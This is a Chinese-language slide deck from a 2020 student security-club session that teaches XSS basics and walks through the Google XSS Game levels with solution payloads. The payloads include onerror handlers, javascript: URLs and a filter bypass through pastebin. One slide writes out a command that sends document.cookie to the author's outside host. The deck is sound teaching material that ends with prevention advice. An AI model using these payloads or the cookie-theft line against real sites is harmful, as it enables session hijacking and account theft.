XSS

Cross-site scripting

Whoami la

  • 輔大資工四乙 – 黃品翰 ( halloworld )
    • blog: blog.halloworldis.me
  • NISRA 核心幹部吧
  • AIS3 兩次專題落選人
    • AIS3 2019(Crypto)
    • AIS3 2020(網頁安全)
  • 109 年度行政院攻擊手 - 落選人
  • 榮耀資戰(一般組)沒得名
  • 輔大專題試驗室(二)風紀股長
  • ~~歡迎有興趣的一起打CTF~~

Outline

  • HTML/CSS/Javascript Intro

  • Xss Intro

  • Xss-Game

  • Xss-Risk

  • Conclusion

 

 

 

 

 

HTML/CSS/JS

Intro

網頁の組成

  • HTML

    • ​給網頁一個基礎的長相
  • CSS

    • ​幫網頁化妝
  •  Javascript != Java

    • ​幫網頁做事件觸發、特效
    • 與後端互動
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>

//這裡放CSS
<style>
h1{
	color : red;
}

p{
	color : blue;
}
</style>


//這裡放javascript
<script>
function clickla()
{
	document.getElementById('demo').innerHTML = Date();
}
</script>

//這裡放html
<body>
	<h1 class="txt">This is a Heading</h1>
	<button type="button" onclick="clickla()">Click me to display Date and Time.</button>
	<p id="demo">This is a paragraph.</p>

</body>
</html>

Example Code

網頁の組成 - example

CSS - AIS3 報復性聊天室

  • CSS用到極致的例子

Javascript

  • 跟python一樣是直譯式語言

  • 可以打開瀏覽器的F12,點下console

    • 直接輸入就可以執行Javascript了
  • 網頁能夠讓事件觸發、也可與後端做互動

a = 0.1 + 0.2

做個小Lab,這個是多少?

0.30000000000000004
a 是 0.3 ?????

網頁開發資源

XSS

Intro

(你覺得js都是正常的js嗎?)

document.getElementsByTagName('body')[0].innerHTML=""

javascript with hacker ?

一般人

填下想要的留言

javascript with hacker ?

駭客

填入惡意的程式碼

javascript with hacker ?

狂跳alert,跳到瘋掉

網頁變空的

讓別人幫你挖礦

偷別人的帳戶資訊

XSS - reflected

  • 讓使用者發出惡意的請求(例如,網址上、奇怪的按鈕)
    • ​伺服器將回應後,將有害的javascript直接回顯在webpage
  • 需要社交工程
    • 把惡意連結傳給別人
    • 想辦法用騙的就對了: )

XSS - reflected

後端PHP

XSS - reflected

後端PHP

插入<script>alert(123)</script>

XSS - DOM

  • DOM 全稱為 Document Object Model
    
  • 一個描述HTML的樹狀結構
    • 讓我們能透過js動態產生網頁,無須透過伺服器
  • 發生原因
    • 沒有詳細檢查資料,使得操作 DOM 的過程帶入了惡意指令
    • 觸發跟反射型類似,只差在DOM渲染的部分

想對DOM有更深的了解,可以看以下這篇

來自IThome: https://ithelp.ithome.com.tw/articles/10202689

XSS - DOM

XSS - Stored

  • 儲存型XSS,會將惡意語法存入伺服器資料庫中
  • 常見的位置:論壇文章、留言板...等
  • 能夠將惡意語法常駐
    • 當使用者瀏覽時,能夠直接執行惡意語法,👍

Testing

想辦法在page中,alert()

Rule

Level-1

def get(self):
    # Disable the reflected XSS filter for demonstration purposes
    self.response.headers.add_header("X-XSS-Protection", "0")
 
    if not self.request.get('query'):
      # Show main search page
      self.render_string(page_header + main_page_markup + page_footer)
    else:
      query = self.request.get('query', '[empty]')
       
      # Our search engine broke, we found no results :-(
      message = "Sorry, no results were found for <b>" + query + "</b>."
      message += " <a href='?'>Try again</a>."
 
      # Display the results page
      self.render_string(page_header + message + page_footer)
     
    return

Level-1 solution

<script>alert(1)</script>

Level-2

Level-2

function displayPosts() {
        var containerEl = document.getElementById("post-container");
        containerEl.innerHTML = "";
 
        var posts = DB.getPosts();
        for (var i=0; i<posts.length; i++) {
          var html = '<table class="message"> <tr> <td valign=top> '
            + '<img src="/static/level2_icon.png"> </td> <td valign=top '
            + ' class="message-container"> <div class="shim"></div>';
 
          html += '<b>You</b>';
          html += '<span class="date">' + new Date(posts[i].date) + '</span>';
          html += "<blockquote>" + posts[i].message + "</blockquote";
          html += "</td></tr></table>"
          containerEl.innerHTML += html; 
        }
 }

Level-2 solution

<img src="xxx" onerror="alert(1)" />
<img src="xxx" onclick="alert(1)" />

Level-3

function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }

Level-3 solution

//把num換掉,將前面語法刮起來,後面註解
' onerror=alert(1) //
"<img src='/static/level3/cloud" + num + ".jpg' />"

Level-4

<body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>

timer.html

index.html

<body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <form action="" method="GET">
      <input id="timer" name="timer" value="3">
      <input id="button" type="submit" value="Create timer"> </form>
    </form>
  </body>

Level-4 solution

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

<img src="/static/loading.gif" onload="startTimer('3');alert(1)//');" />

Level-5

Level-5

<body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    Thanks for signing up, you will be redirected soon...
    <script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
    </script>
  </body>

confirm.html

signup.html

<body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">

    <br><br>
    <a href="{{ next }}">Next >></a>
  </body>

Level-5 solution

1. 想辦法塞javascript到next參數

2. 送出request,這樣頁面就轉換成有alert的Next

3. 按下Next,就會跳出alert視窗了

javascript:alert(1)

Level-6

function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;

Level-6 solution

思路:

1. 在#後面的js會被Include

2. 那就想辦法生一個alert的js,使他從外部引入

function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;

但要注意,他不允許http, https

Level-6 solution

1. 將alert()內容,放到外部網站(ex: pastebin)上面

2. 用大寫繞過

https://xss-game.appspot.com/level6/frame#hTTps://pastebin.com/raw/JQsiV7ab

Level-6 solution

改用google js apiㄅ

https://xss-game.appspot.com/level6/frame#hTTps://www.google.com/jsapi?callback=alert

Other XSS Lab

XSS-Risk

only alert(1) ?

Cookie

Cookie

  • 為甚麼有cookie?
    • 你有想過為甚麼你登入過後,下次很像直接打開不用再登一次嗎
  • 他就是用來驗證你是誰的咚咚
    • 而他就存在你的瀏覽器
    • 所以我們只要偷別人的cookie,就可以偽造登入囉😃

所以

document.location.href = "http://vm.halloworldis.me:8000/" + btoa(document.cookie)

歡迎大家,在console輸入這段

我們來看看原理

document.location.href = "http://vm.halloworldis.me:8000/" + encodeURI(document.cookie)

我的釣魚網站

讓網頁跳轉

當前網頁的cookie

Conclusion

Prevention

  • Stored-xss, Reflected 過濾輸入
    • HTML-encoding

Prevention

  • DOM-based
    • 必須用前端來防範,原則相同
    • 請選擇正確的function
//inner HTML,會插入HTML的元素
document.getElementById('show_name').innerHTML = name; 
//改用inner Text,才能保證作為純粹文字
document.getElementById('show_name').innerText = name; 

Resource

  • IThome

  • Freebuf

  • HITCON ZeroDay

  • 各位大大,歡迎在slido補充你們學習的資源

Q&A

[2020NISRA_Enlightened] XSS

By halloworld

[2020NISRA_Enlightened] XSS

NISRA 2020 englightened XSS

  • 245
Loading comments...

More from halloworld